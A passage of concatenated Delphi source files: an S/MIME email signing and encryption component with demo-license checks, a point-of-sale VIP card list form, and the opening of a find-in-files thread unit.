procedure ParseContentType(ASource, AFieldList: TStrings); override;
procedure AssignContentType(ASource: TStrings); override;
function GetIsMultiPartContent: Boolean; override;
function CreateBody(ABodies: TclMessageBodies;
const AContentType, ADisposition: string): TclMessageBody; override;
function CreateSingleBody(ASource: TStrings; ABodies: TclMessageBodies): TclMessageBody; override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure Clear; override;
procedure Sign;
procedure Verify;
procedure Encrypt;
procedure Decrypt;
procedure DecryptAndVerify;
property IsEncrypted: Boolean read GetIsEncrypted;
property IsSigned: Boolean read GetIsSigned;
property Certificates: TclCertificateStore read FCertificates;
published
property IsDetachedSignature: Boolean read FIsDetachedSignature write SetIsDetachedSignature default True;
property IsIncludeCertificate: Boolean read FIsIncludeCertificate write SetIsIncludeCertificate default True;
property SMimeContentType: string read FSMimeContentType write SetSMimeContentType;
property OnGetCertificate: TclOnGetCertificateEvent read FOnGetCertificate write FOnGetCertificate;
end;
implementation
uses
clUtils, Windows{$IFDEF DEMO}, Forms{$ENDIF}{$IFDEF LOGGER}, clLogger{$ENDIF};
{ TclSMimeMessage }
procedure TclSMimeMessage.AssignContentType(ASource: TStrings);
begin
if IsEncrypted or (IsSigned and not IsDetachedSignature) then
begin
AddHeaderArrayField(ASource, [ContentType,
'smime-type=' + SMimeContentType,
'boundary="' + Boundary + '"',
'name="smime.p7m"'], 'Content-Type', ';');
AddHeaderArrayField(ASource, ['attachment',
'filename="smime.p7m"'], 'Content-Disposition', ';');
end else
if (IsSigned and IsDetachedSignature) then
begin
AddHeaderArrayField(ASource, [ContentType,
'boundary="' + Boundary + '"',
'protocol="application/x-pkcs7-signature"',
'micalg=SHA1'], 'Content-Type', ';');
end else
begin
inherited AssignContentType(ASource);
end;
end;
procedure TclSMimeMessage.Clear;
begin
BeginUpdate();
try
if not FIsSecuring then
begin
Certificates.Close();
end;
SMimeContentType := '';
inherited Clear();
finally
EndUpdate();
end;
end;
constructor TclSMimeMessage.Create(AOwner: TComponent);
begin
FInternalCertStore := TclCertificateStore.Create(nil);
FCertificates := TclCertificateStore.Create(nil);
FCertificates.StoreName := 'addressbook';
inherited Create(AOwner);
FIsDetachedSignature := True;
FIsIncludeCertificate := True;
FIsSecuring := False;
end;
procedure TclSMimeMessage.Decrypt;
begin
{$IFDEF DEMO}
{$IFNDEF STANDALONEDEMO}
if FindWindow('TAppBuilder', nil) = 0 then
begin
MessageBox(0, 'This demo version can be run under Delphi/C++Builder IDE only. ' +
'Please visit www.clevercomponents.com to purchase your ' +
'copy of the library.', 'Information', MB_ICONEXCLAMATION or MB_TASKMODAL or MB_TOPMOST);
ExitProcess(1);
end else
{$ENDIF}
begin
{$IFNDEF IDEDEMO}
if (not IsMailMessageDemoDisplayed) and (not IsEncoderDemoDisplayed)
and (not IsCertDemoDisplayed) then
begin
MessageBox(0, 'Please visit www.clevercomponents.com to purchase your ' +
'copy of the library.', 'Information', MB_ICONEXCLAMATION or MB_TASKMODAL or MB_TOPMOST);
end;
IsMailMessageDemoDisplayed := True;
IsEncoderDemoDisplayed := True;
IsCertDemoDisplayed := True;
{$ENDIF}
end;
{$ENDIF}
InternalDecrypt();
end;
procedure TclSMimeMessage.DecryptAndVerify;
begin
{$IFDEF DEMO}
{$IFNDEF STANDALONEDEMO}
if FindWindow('TAppBuilder', nil) = 0 then
begin
MessageBox(0, 'This demo version can be run under Delphi/C++Builder IDE only. ' +
'Please visit www.clevercomponents.com to purchase your ' +
'copy of the library.', 'Information', MB_ICONEXCLAMATION or MB_TASKMODAL or MB_TOPMOST);
ExitProcess(1);
end else
{$ENDIF}
begin
{$IFNDEF IDEDEMO}
if (not IsMailMessageDemoDisplayed) and (not IsEncoderDemoDisplayed)
and (not IsCertDemoDisplayed) then
begin
MessageBox(0, 'Please visit www.clevercomponents.com to purchase your ' +
'copy of the library.', 'Information', MB_ICONEXCLAMATION or MB_TASKMODAL or MB_TOPMOST);
end;
IsMailMessageDemoDisplayed := True;
IsEncoderDemoDisplayed := True;
IsCertDemoDisplayed := True;
{$ENDIF}
end;
{$ENDIF}
{$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'DecryptAndVerify');{$ENDIF}
repeat
if IsEncrypted then
begin
InternalDecrypt();
end else
if IsSigned then
begin
InternalVerify();
end else
begin
Break;
end;
until False;
{$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'DecryptAndVerify'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'DecryptAndVerify', E); raise; end; end;{$ENDIF}
end;
procedure TclSMimeMessage.DoGetCertificate(var ACertificate: TclCertificate;
var Handled: Boolean);
begin
{$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'DoGetCertificate');{$ENDIF}
if Assigned(OnGetCertificate) then
begin
OnGetCertificate(Self, ACertificate, Handled);
{$IFDEF LOGGER}clPutLogMessage(Self, edEnter, 'DoGetCertificate - event exists, cert: %d, handled: %d', nil, [Integer(ACertificate), Integer(Handled)]);{$ENDIF}
end;
{$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'DoGetCertificate'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'DoGetCertificate', E); raise; end; end;{$ENDIF}
end;
procedure TclSMimeMessage.Encrypt;
var
certs: TclCertificateStore;
srcData, encData: TclCryptData;
begin
{$IFDEF DEMO}
{$IFNDEF STANDALONEDEMO}
if FindWindow('TAppBuilder', nil) = 0 then
begin
MessageBox(0, 'This demo version can be run under Delphi/C++Builder IDE only. ' +
'Please visit www.clevercomponents.com to purchase your ' +
'copy of the library.', 'Information', MB_ICONEXCLAMATION or MB_TASKMODAL or MB_TOPMOST);
ExitProcess(1);
end else
{$ENDIF}
begin
{$IFNDEF IDEDEMO}
if (not IsMailMessageDemoDisplayed) and (not IsEncoderDemoDisplayed)
and (not IsCertDemoDisplayed) then
begin
MessageBox(0, 'Please visit www.clevercomponents.com to purchase your ' +
'copy of the library.', 'Information', MB_ICONEXCLAMATION or MB_TASKMODAL or MB_TOPMOST);
end;
IsMailMessageDemoDisplayed := True;
IsEncoderDemoDisplayed := True;
IsCertDemoDisplayed := True;
{$ENDIF}
end;
{$ENDIF}
{$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'Encrypt');{$ENDIF}
if IsEncrypted then
begin
raise EclMailMessageError.Create(cMessageEncrypted);
end;
FIsSecuring := True;
srcData := nil;
certs := nil;
BeginUpdate();
try
certs := GetEncryptCertificates('addressbook');
srcData := TclCryptData.Create();
srcData.AssignByStrings(MessageSource);
encData := certs.Encrypt(srcData);
try
Bodies.Clear();
TclEnvelopedBody.Create(Bodies).Data := encData;
except
encData.Free();
raise;
end;
ContentType := 'application/x-pkcs7-mime';
SMimeContentType := 'enveloped-data';
Encoding := cmMIMEBase64;
finally
srcData.Free();
certs.Free();
EndUpdate();
FIsSecuring := False;
end;
{$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'Encrypt'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'Encrypt', E); raise; end; end;{$ENDIF}
end;
function TclSMimeMessage.GetEmailCertificate(const AFullEmail,
AStoreName: string): TclCertificate;
function GetCertificateByStore(AStore: TclCertificateStore; const AEmail: string): TclCertificate;
begin
try
Result := AStore.CertificateByEmail(AEmail);
except
on EclCryptError do
begin
Result := nil;
end;
end;
end;
var
name, email: string;
begin
{$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'GetEmailCertificate, email: %s, store: %s', nil, [AFullEmail, AStoreName]);{$ENDIF}
GetEmailAddressParts(AFullEmail, name, email);
Result := GetCertificateByStore(Certificates, email);
if (Result = nil) then
begin
{$IFDEF LOGGER}clPutLogMessage(Self, edInside, 'GetEmailCertificate before FInternalCertStore');{$ENDIF}
FInternalCertStore.LoadFromSystemStore(AStoreName);
Result := GetCertificateByStore(FInternalCertStore, email);
end;
{$IFDEF LOGGER}clPutLogMessage(Self, edInside, 'GetEmailCertificate before return, Result: %d', nil, [Integer(Result)]);{$ENDIF}
{$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'GetEmailCertificate'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'GetEmailCertificate', E); raise; end; end;{$ENDIF}
end;
function TclSMimeMessage.GetRecipientCertificate(const AStoreName: string;
AEmailList: TStrings): TclCertificate;
var
i: Integer;
begin
for i := 0 to AEmailList.Count - 1 do
begin
Result := GetEmailCertificate(AEmailList[i], AStoreName);
if (Result <> nil) then Exit;
end;
Result := nil;
end;
function TclSMimeMessage.GetCertificate(const AStoreName: string; IsUseSender: Boolean): TclCertificate;
var
handled: Boolean;
begin
{$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'GetCertificate, storename: %s, usesender %d', nil, [AStoreName, Integer(IsUseSender)]);{$ENDIF}
Result := nil;
handled := False;
DoGetCertificate(Result, handled);
if (Result = nil) then
begin
if IsUseSender then
begin
Result := GetEmailCertificate(From, AStoreName);
end else
begin
Result := GetRecipientCertificate(AStoreName, ToList);
if (Result = nil) then
begin
Result := GetRecipientCertificate(AStoreName, CcList);
end;
if (Result = nil) then
begin
Result := GetRecipientCertificate(AStoreName, BccList);
end;
end;
end;
if (Result = nil) then
begin
raise EclMailMessageError.Create(cCertificateRequired);
end;
{$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'GetCertificate'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'GetCertificate', E); raise; end; end;{$ENDIF}
end;
function TclSMimeMessage.GetIsEncrypted: Boolean;
begin
Result := (Pos('pkcs7-mime', LowerCase(ContentType)) > 0)
and (not SameText(SMimeContentType, 'signed-data'));
end;
function TclSMimeMessage.GetIsMultiPartContent: Boolean;
begin
Result := inherited GetIsMultiPartContent() and not IsEncrypted;
if IsParse then
begin
Result := Result and not (IsSigned and (LowerCase(ContentType) <> 'multipart/signed'));
end else
begin
Result := Result and not (IsSigned and not IsDetachedSignature);
end;
end;
function TclSMimeMessage.GetIsSigned: Boolean;
begin
Result := SameText(ContentType, 'multipart/signed')
or ((Pos('pkcs7-mime', LowerCase(ContentType)) > 0) and SameText(SMimeContentType, 'signed-data'));
end;
function TclSMimeMessage.CreateSingleBody(ASource: TStrings; ABodies: TclMessageBodies): TclMessageBody;
begin
if IsEncrypted or (IsSigned and (LowerCase(ContentType) <> 'multipart/signed')) then
begin
Result := TclEnvelopedBody.Create(ABodies);
end else
begin
Result := inherited CreateSingleBody(ASource, ABodies);
end;
end;
procedure TclSMimeMessage.ParseContentType(ASource, AFieldList: TStrings);
var
s: string;
begin
inherited ParseContentType(ASource, AFieldList);
s := GetHeaderFieldValue(ASource, AFieldList, 'Content-Type');
SMimeContentType := GetHeaderFieldValueItem(s, 'smime-type=');
end;
procedure TclSMimeMessage.SetIsDetachedSignature(const Value: Boolean);
begin
if (FIsDetachedSignature <> Value) then
begin
FIsDetachedSignature := Value;
Update();
end;
end;
procedure TclSMimeMessage.SetIsIncludeCertificate(const Value: Boolean);
begin
if (FIsIncludeCertificate <> Value) then
begin
FIsIncludeCertificate := Value;
Update();
end;
end;
procedure TclSMimeMessage.SetSMimeContentType(const Value: string);
begin
if (FSMimeContentType <> Value) then
begin
FSMimeContentType := Value;
Update();
end;
end;
procedure TclSMimeMessage.SignEnveloped(ACertificate: TclCertificate);
var
srcData, signedData: TclCryptData;
begin
{$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'SignEnveloped');{$ENDIF}
srcData := TclCryptData.Create();
try
srcData.AssignByStrings(MessageSource);
signedData := ACertificate.Sign(srcData, IsDetachedSignature, IsIncludeCertificate);
try
Bodies.Clear();
TclEnvelopedBody.Create(Bodies).Data := signedData;
except
signedData.Free();
raise;
end;
ContentType := 'application/x-pkcs7-mime';
SMimeContentType := 'signed-data';
Encoding := cmMIMEBase64;
finally
srcData.Free();
end;
{$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'SignEnveloped'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'SignEnveloped', E); raise; end; end;{$ENDIF}
end;
procedure TclSMimeMessage.SignDetached(ACertificate: TclCertificate);
var
i, ind: Integer;
srcData, signedData: TclCryptData;
oldIncludeRFC822: Boolean;
srcStrings, FieldList: TStrings;
cryptBody: TclSMimeBody;
begin
{$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'SignDetached');{$ENDIF}
srcData := nil;
srcStrings := nil;
FieldList := nil;
oldIncludeRFC822 := IncludeRFC822Header;
try
srcData := TclCryptData.Create();
srcStrings := TStringList.Create();
IncludeRFC822Header := False;
InternalAssignHeader(srcStrings);
InternalAssignBodies(srcStrings);
srcStrings.Add('');
srcData.AssignByStrings(srcStrings);
srcStrings.Delete(srcStrings.Count - 1);
signedData := ACertificate.Sign(srcData, IsDetachedSignature, IsIncludeCertificate);
try
Bodies.Clear();
cryptBody := TclSMimeBody.Create(Bodies);
FieldList := TStringList.Create();
ind := GetHeaderFieldList(0, srcStrings, FieldList);
cryptBody.ParseBodyHeader(ind, srcStrings, FieldList);
ind := ParseAllHeaders(0, srcStrings, cryptBody.Header);
ParseExtraFields(cryptBody.Header, cryptBody.KnownFields, cryptBody.ExtraFields);
for i := ind + 1 to srcStrings.Count - 1 do
begin
cryptBody.Source.Add(srcStrings[i]);
end;
TclEnvelopedBody.Create(Bodies).Data := signedData;
except
signedData.Free();
raise;
end;
finally
IncludeRFC822Header := oldIncludeRFC822;
FieldList.Free();
srcStrings.Free();
srcData.Free();
end;
ContentType := 'multipart/signed';
SMimeContentType := '';
Encoding := cmNone;
{$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'SignDetached'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'SignDetached', E); raise; end; end;{$ENDIF}
end;
procedure TclSMimeMessage.Sign;
var
cert: TclCertificate;
begin
{$IFDEF DEMO}
{$IFNDEF STANDALONEDEMO}
if FindWindow('TAppBuilder', nil) = 0 then
begin
MessageBox(0, 'This demo version can be run under Delphi/C++Builder IDE only. ' +
'Please visit www.clevercomponents.com to purchase your ' +
'copy of the library.', 'Information', MB_ICONEXCLAMATION or MB_TASKMODAL or MB_TOPMOST);
ExitProcess(1);
end else
{$ENDIF}
begin
{$IFNDEF IDEDEMO}
if (not IsMailMessageDemoDisplayed) and (not IsEncoderDemoDisplayed)
and (not IsCertDemoDisplayed) then
begin
MessageBox(0, 'Please visit www.clevercomponents.com to purchase your ' +
'copy of the library.', 'Information', MB_ICONEXCLAMATION or MB_TASKMODAL or MB_TOPMOST);
end;
IsMailMessageDemoDisplayed := True;
IsEncoderDemoDisplayed := True;
IsCertDemoDisplayed := True;
{$ENDIF}
end;
{$ENDIF}
{$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'Sign');{$ENDIF}
if IsSigned then
begin
raise EclMailMessageError.Create(cMessageSigned);
end;
FIsSecuring := True;
BeginUpdate();
try
cert := GetCertificate('MY', True);
if IsDetachedSignature then
begin
SignDetached(cert);
end else
begin
SignEnveloped(cert);
end;
finally
EndUpdate();
FIsSecuring := False;
end;
{$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'Sign'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'Sign', E); raise; end; end;{$ENDIF}
end;
procedure TclSMimeMessage.Verify;
begin
{$IFDEF DEMO}
{$IFNDEF STANDALONEDEMO}
if FindWindow('TAppBuilder', nil) = 0 then
begin
MessageBox(0, 'This demo version can be run under Delphi/C++Builder IDE only. ' +
'Please visit www.clevercomponents.com to purchase your ' +
'copy of the library.', 'Information', MB_ICONEXCLAMATION or MB_TASKMODAL or MB_TOPMOST);
ExitProcess(1);
end else
{$ENDIF}
begin
{$IFNDEF IDEDEMO}
if (not IsMailMessageDemoDisplayed) and (not IsEncoderDemoDisplayed)
and (not IsCertDemoDisplayed) then
begin
MessageBox(0, 'Please visit www.clevercomponents.com to purchase your ' +
'copy of the library.', 'Information', MB_ICONEXCLAMATION or MB_TASKMODAL or MB_TOPMOST);
end;
IsMailMessageDemoDisplayed := True;
IsEncoderDemoDisplayed := True;
IsCertDemoDisplayed := True;
{$ENDIF}
end;
{$ENDIF}
InternalVerify();
end;
function TclSMimeMessage.CreateBody(ABodies: TclMessageBodies;
const AContentType, ADisposition: string): TclMessageBody;
begin
if IsSigned then
begin
if (LowerCase(ADisposition) = 'attachment')
and (system.Pos('-signature', LowerCase(AContentType)) > 1) then
begin
Result := TclEnvelopedBody.Create(ABodies);
end else
begin
Result := TclSMimeBody.Create(ABodies);
end;
end else
begin
Result := inherited CreateBody(ABodies, AContentType, ADisposition);
end;
end;
procedure TclSMimeMessage.VerifyDetached;
var
cert: TclCertificate;
msg: TStrings;
mimeBody: TclSMimeBody;
srcData: TclCryptData;
begin
{$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'VerifyDetached');{$ENDIF}
srcData := nil;
msg := nil;
try
srcData := TclCryptData.Create();
msg := TStringList.Create();
Assert(Bodies.Count = 2);
mimeBody := (Bodies[0] as TclSMimeBody);
msg.AddStrings(mimeBody.Header);
msg.Add('');
msg.AddStrings(mimeBody.Source);
srcData.AssignByStrings(msg);
Certificates.AddFromBinary((Bodies[1] as TclEnvelopedBody).Data);
cert := GetCertificate('addressbook', True);
cert.VerifyDetached(srcData, (Bodies[1] as TclEnvelopedBody).Data);
ContentType := mimeBody.ContentType;
SetBoundary(mimeBody.Boundary);
Bodies.Clear();
ParseBodies(msg);
finally
msg.Free();
srcData.Free();
end;
{$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'VerifyDetached'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'VerifyDetached', E); raise; end; end;{$ENDIF}
end;
procedure TclSMimeMessage.VerifyEnveloped;
var
cert: TclCertificate;
verified: TclCryptData;
msg: TStrings;
s: string;
begin
{$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'VerifyEnveloped');{$ENDIF}
msg := nil;
verified := nil;
try
Assert(Bodies.Count = 1);
Certificates.AddFromBinary((Bodies[0] as TclEnvelopedBody).Data);
cert := GetCertificate('addressbook', True);
verified := cert.VerifyEnveloped((Bodies[0] as TclEnvelopedBody).Data);
msg := TStringList.Create();
SetLength(s, verified.DataSize);
CopyMemory(PChar(s), verified.Data, verified.DataSize);
msg.Text := s;
MessageSource := msg;
finally
msg.Free();
verified.Free();
end;
{$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'VerifyEnveloped'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'VerifyEnveloped', E); raise; end; end;{$ENDIF}
end;
destructor TclSMimeMessage.Destroy;
begin
inherited Destroy();
FCertificates.Free();
FInternalCertStore.Free();
end;
procedure TclSMimeMessage.InternalDecrypt;
var
cert: TclCertificate;
decrypted: TclCryptData;
msg: TStrings;
s: string;
begin
{$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'InternalDecrypt');{$ENDIF}
if not IsEncrypted then
begin
raise EclMailMessageError.Create(cMessageNotEncrypted);
end;
FIsSecuring := True;
msg := nil;
decrypted := nil;
BeginUpdate();
try
Assert(Bodies.Count = 1);
Certificates.AddFromBinary((Bodies[0] as TclEnvelopedBody).Data);
cert := GetCertificate('MY', False);
decrypted := cert.Decrypt((Bodies[0] as TclEnvelopedBody).Data);
msg := TStringList.Create();
SetLength(s, decrypted.DataSize);
CopyMemory(PChar(s), decrypted.Data, decrypted.DataSize);
msg.Text := s;
MessageSource := msg;
SMimeContentType := '';
finally
msg.Free();
decrypted.Free();
EndUpdate();
FIsSecuring := False;
end;
{$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'InternalDecrypt'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'InternalDecrypt', E); raise; end; end;{$ENDIF}
end;
procedure TclSMimeMessage.InternalVerify;
begin
{$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'InternalVerify');{$ENDIF}
if not IsSigned then
begin
raise EclMailMessageError.Create(cMessageNotSigned);
end;
FIsSecuring := True;
BeginUpdate();
try
if (LowerCase(ContentType) = 'multipart/signed') then
begin
VerifyDetached();
end else
begin
VerifyEnveloped();
end;
finally
EndUpdate();
FIsSecuring := False;
end;
{$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'InternalVerify'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'InternalVerify', E); raise; end; end;{$ENDIF}
end;
function TclSMimeMessage.GetEncryptCertificates(const AStoreName: string): TclCertificateStore;
procedure FillRecipientCerts(AStore: TclCertificateStore; const AStoreName: string; AEmailList: TStrings);
var
i: Integer;
cert: TclCertificate;
begin
for i := 0 to AEmailList.Count - 1 do
begin
cert := GetEmailCertificate(AEmailList[i], AStoreName);
if (cert = nil) then
begin
raise EclCryptError.Create(cCertificateNotFound, -1);
end;
AStore.AddFrom(cert);
end;
end;
var
handled: Boolean;
cert: TclCertificate;
begin
{$IFDEF LOGGER}try clPutLogMessage(Self, edEnter, 'GetEncryptCertificates: ' + AStoreName);{$ENDIF}
Result := TclCertificateStore.Create(nil);
handled := False;
cert := nil;
DoGetCertificate(cert, handled);
if (cert = nil) then
begin
FillRecipientCerts(Result, AStoreName, ToList);
FillRecipientCerts(Result, AStoreName, CcList);
FillRecipientCerts(Result, AStoreName, BccList);
end else
begin
Result.AddFrom(cert);
end;
{$IFDEF LOGGER}clPutLogMessage(Self, edInside, 'GetEncryptCertificates, certcount: %d', nil, [Result.Count]);{$ENDIF}
{$IFDEF LOGGER}clPutLogMessage(Self, edLeave, 'GetEncryptCertificates'); except on E: Exception do begin clPutLogMessage(Self, edLeave, 'GetEncryptCertificates', E); raise; end; end;{$ENDIF}
end;
{ TclEnvelopedBody }
procedure TclEnvelopedBody.Clear;
begin
inherited Clear();
FileName := 'smime.p7s';
ContentType := 'application/x-pkcs7-signature';
Encoding := cmMIMEBase64;
end;
procedure TclEnvelopedBody.DataAdded(AData: TStream);
var
p: Pointer;
begin
Data.Allocate(AData.Size);
p := Data.Data;
AData.Position := 0;
AData.Read(p^, Data.DataSize);
inherited DataAdded(AData);
end;
destructor TclEnvelopedBody.Destroy;
begin
FData.Free();
inherited Destroy();
end;
procedure TclEnvelopedBody.DoCreate;
begin
inherited DoCreate();
FData := TclCryptData.Create();
end;
function TclEnvelopedBody.GetDestinationStream: TStream;
begin
Result := TMemoryStream.Create();
end;
function TclEnvelopedBody.GetSourceStream: TStream;
begin
Result := TMemoryStream.Create();
Result.WriteBuffer(Data.Data^, Data.DataSize);
Result.Position := 0;
end;
procedure TclEnvelopedBody.SetData(const Value: TclCryptData);
begin
FData.Free();
FData := Value;
GetMailMessage().Update();
end;
{ TclSMimeBody }
procedure TclSMimeBody.Assign(Source: TPersistent);
begin
if (Source is TclSMimeBody) then
begin
Source.Assign((Source as TclSMimeBody).Source);
Boundary := (Source as TclSMimeBody).Boundary;
end;
inherited Assign(Source);
end;
procedure TclSMimeBody.AssignBodyHeader(ASource: TStrings);
begin
ASource.AddStrings(Header);
if (Header.Count > 0) then Exit;
if (ContentType <> '') and (Boundary <> '') then
begin
AddHeaderArrayField(ASource, [ContentType, 'boundary="' + Boundary + '"'], 'Content-Type', ';');
end;
ASource.AddStrings(ExtraFields);
end;
procedure TclSMimeBody.BeforeDataAdded(AData: TStream);
begin
end;
procedure TclSMimeBody.Clear;
begin
inherited Clear();
Source.Clear();
Boundary := '';
end;
procedure TclSMimeBody.DataAdded(AData: TStream);
var
s: string;
begin
SetString(s, nil, AData.Size);
AData.Position := 0;
AData.Read(PChar(s)^, AData.Size);
AddTextStr(FSource, s);
inherited DataAdded(AData);
end;
procedure TclSMimeBody.DecodeData(ASource, ADestination: TStream);
begin
ADestination.CopyFrom(ASource, ASource.Size)
end;
destructor TclSMimeBody.Destroy;
begin
FSource.Free();
inherited Destroy();
end;
procedure TclSMimeBody.DoCreate;
begin
inherited DoCreate();
FSource := TStringList.Create();
SetListChangedEvent(FSource as TStringList);
end;
procedure TclSMimeBody.EncodeData(ASource, ADestination: TStream);
begin
ADestination.CopyFrom(ASource, ASource.Size)
end;
function TclSMimeBody.GetDestinationStream: TStream;
begin
Result := TMemoryStream.Create();
end;
function TclSMimeBody.GetHeader: TStrings;
begin
Result := RawHeader;
end;
function TclSMimeBody.GetSourceStream: TStream;
var
s: string;
size: Integer;
begin
Result := TMemoryStream.Create();
s := FSource.Text;
size := Length(s);
if (size - Length(#13#10) > 0) then
begin
size := size - Length(#13#10);
end;
Result.WriteBuffer(Pointer(s)^, size);
Result.Position := 0;
end;
procedure TclSMimeBody.ParseBodyHeader(ABodyPos: Integer; ASource, AFieldList: TStrings);
var
s: string;
begin
inherited ParseBodyHeader(ABodyPos, ASource, AFieldList);
s := GetHeaderFieldValue(ASource, AFieldList, 'Content-Type');
Boundary := GetHeaderFieldValueItem(s, 'boundary=');
end;
procedure TclSMimeBody.ReadData(Reader: TReader);
begin
Source.Text := Reader.ReadString();
Boundary := Reader.ReadString();
inherited ReadData(Reader);
end;
procedure TclSMimeBody.SetBoundary(const Value: string);
begin
if (FBoundary <> Value) then
begin
FBoundary := Value;
GetMailMessage().Update();
end;
end;
procedure TclSMimeBody.SetHeader(const Value: TStrings);
begin
RawHeader.Assign(Value);
GetMailMessage().Update();
end;
procedure TclSMimeBody.SetSource(const Value: TStrings);
begin
FSource.Assign(Value);
end;
procedure TclSMimeBody.WriteData(Writer: TWriter);
begin
Writer.WriteString(Source.Text);
Writer.WriteString(Boundary);
inherited WriteData(Writer);
end;
end.
|
unit uAssociatorCardList_Frm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, uBaseEditFrm, cxGraphics, Menus, cxLookAndFeelPainters,
cxStyles, cxCustomData, cxFilter, cxData, cxDataStorage, cxEdit, DB,
cxDBData, cxGridLevel, cxClasses, cxControls, cxGridCustomView,
cxGridCustomTableView, cxGridTableView, cxGridDBTableView, cxGrid,
StdCtrls, cxButtons, cxDropDownEdit, cxContainer, cxTextEdit, cxMaskEdit,
cxCalendar, ExtCtrls, DBClient, ActnList;
type
TFrm_AssociatorCardList = class(TSTBaseEdit)
pnTop: TPanel;
Image1: TImage;
lbBegin: TLabel;
btOK: TcxButton;
cxStyle: TcxTextEdit;
cdsList: TClientDataSet;
dsList: TDataSource;
PopupMenu1: TPopupMenu;
actEditCard: TActionList;
actEditCard1: TAction;
N1: TMenuItem;
Label1: TLabel;
expExcel: TMenuItem;
dbgList: TcxGridDBTableView;
cxGrid2Level1: TcxGridLevel;
cxGrid2: TcxGrid;
procedure btOKClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure actEditCard1Execute(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure expExcelClick(Sender: TObject);
procedure dbgListDblClick(Sender: TObject);
private
{ Private declarations }
procedure CreateGridColumn(tcdsList : TClientDataSet; cxDetail: TcxGridDBTableView);
public
{ Public declarations }
end;
var
Frm_AssociatorCardList: TFrm_AssociatorCardList;
implementation
uses uEmitAssociatorCard,FrmCliDM,Pub_Fun,uExportExcelFrm;
{$R *.dfm}
procedure TFrm_AssociatorCardList.CreateGridColumn(
tcdsList: TClientDataSet; cxDetail: TcxGridDBTableView);
var i:Integer;
FieldName : string;
GridColumn : TcxGridDBColumn;
begin
//设置列
try
cxDetail.BeginUpdate;
cxDetail.ClearItems;
cxDetail.DataController.CreateAllItems;
for i :=0 to tcdsList.FieldCount-1 do
begin
FieldName := tcdsList.Fields[i].FieldName;
if UpperCase(FieldName) = UpperCase('FID') then cxDetail.GetColumnByFieldName(FieldName).Visible:=false;
GridColumn := cxDetail.GetColumnByFieldName(FieldName);
with GridColumn do
begin
Caption := FieldName;
Width := 100; //列宽
Options.Sorting := True; //排序
Options.Filtering := True; //过滤
Options.Focusing := True; //鼠标停留
Options.Editing := False; //是否可以编辑
end;
end;
finally
cxDetail.EndUpdate;
end;
end;
procedure TFrm_AssociatorCardList.btOKClick(Sender: TObject);
var ErrMsg,shopid: string;
begin
inherited;
try
if Trim(cxStyle.Text)='' then shopid:=userinfo.Warehouse_FID
else shopid:='';
btOK.Enabled := False;
CliDM.Get_OpenBaseList('T_RT_VIPBaseData',Trim(cxStyle.Text),shopid,cdsList,ErrMsg);
if dbgList.ColumnCount=0 then
CreateGridColumn(cdsList,dbgList);
finally
btOK.Enabled := True;
end;
end;
procedure TFrm_AssociatorCardList.FormCreate(Sender: TObject);
begin
inherited;
LoadImage(UserInfo.ExePath+'\Img\POS_Edit_Top2.jpg',Image1);
end;
procedure TFrm_AssociatorCardList.actEditCard1Execute(Sender: TObject);
var CardCode : string;
begin
inherited;
CardCode := cdsList.fieldbyName('卡号').AsString;
if CardCode='' then
begin
ShowMsg(Handle, '卡号不存在!',[]);
abort;
end;
EmitCartEdit(CardCode); //打开会员卡信息
end;
procedure TFrm_AssociatorCardList.FormShow(Sender: TObject);
begin
inherited;
cxStyle.SetFocus;
end;
procedure TFrm_AssociatorCardList.expExcelClick(Sender: TObject);
begin
inherited;
if dbgList.DataController.DataSource.DataSet.IsEmpty then Exit;
callExcelExport(nil,dbgList,self.Caption);
end;
procedure TFrm_AssociatorCardList.dbgListDblClick(Sender: TObject);
begin
inherited;
actEditCard1.Execute;
end;
end.
|
unit EditBone.FindInFiles;
interface
uses
System.Classes, System.Types, BCEditor.Types, BCEditor.Editor;
type
TOnCancelSearch = function: Boolean of object;
TOnAddTreeViewLine = procedure(ASender: TObject; const AFilename: string; const ALine, ACharacter: LongInt; const AText: string;
const ASearchString: string; const ALength: Integer) of object;
TFindInFilesThread = class(TThread)
private
FCount: Integer;
FEditor: TBCEditor;
FOnCancelSearch: TOnCancelSearch;
FOnProgressBarStep: TNotifyEvent;
FOnAddTreeViewLine: TOnAddTreeViewLine;
FFileExtensions: string;
FFileTypeText: string;
FFindWhatText: string;
FFolderText: string;
FLookInSubfolders: Boolean;
